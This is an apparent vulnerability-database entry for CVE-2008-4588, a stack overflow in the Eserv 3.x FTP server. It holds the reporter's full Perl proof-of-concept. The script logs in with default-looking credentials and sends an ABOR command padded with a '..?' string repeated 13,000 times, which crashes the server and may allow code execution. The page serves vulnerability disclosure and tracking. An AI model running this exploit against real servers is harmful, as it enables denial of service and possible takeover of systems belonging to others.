Eserv 3.x FTP Server (ABOR) Remote Stack Overflow PoC

🗓️ 14 Oct 2008 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 35 Views

Eserv 3.x FTP Server Remote Stack Overflow PoC, allows DoS and possible arbitrary code execution via the ABOR command

Reporter	Title	Published	Views	Family All 7
ATTACKERKB	CVE-2008-4588	15 Oct 200822:45	–	attackerkb
Circl	CVE-2008-4588	14 Oct 200800:00	–	circl
CVE	CVE-2008-4588	15 Oct 200822:00	–	cve
Cvelist	CVE-2008-4588	15 Oct 200822:00	–	cvelist
EUVD	EUVD-2008-4568	7 Oct 202500:30	–	euvd
NVD	CVE-2008-4588	15 Oct 200822:45	–	nvd
Prion	Stack overflow	15 Oct 200822:45	–	prion

<html><body><p>#!/usr/bin/perl
#
# Eserv/3.x FTP Server (ABOR) Remote Stack Overflow PoC
#
# Summary: Eserv/3.x - Mail, News, Web and Proxy Servers - Mail
# Server (SMTP, IMAP4 and POP3) - News Server (NNTP) - Web Server
# (HTTP) - FTP Server - Proxy Servers (HTTP, FTP, Socks, etc) - Finger
# Server - Built-in scheduler and dialer.
#
# Product web page: http://www.eserv.ru/ | www.etype.net/eserv/
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail.com
#
# http://www.zeroscience.org
#
# 14.10.2008
#

use Net::FTP;

$ipaddr = "127.0.0.1";
$mana = "..?" x 13000;
$user = "admin";
$pass = "nimda";
$port = 21;

$ftp = Net::FTP-&gt;new("$ipaddr", Debug =&gt; 0) || die "Cannot connect to $ipaddr on port $port: $@";
$ftp-&gt;login($user,$pass) || die "Cannot login ", $ftp-&gt;message;

$ftp-&gt;abor($mana);

$ftp-&gt;quit;

print "\nDone!\n";</p></body></html>

14 Oct 2008 00:00Current

6.4Medium risk

Vulners AI Score6.4

CVSS 210

EPSS0.2849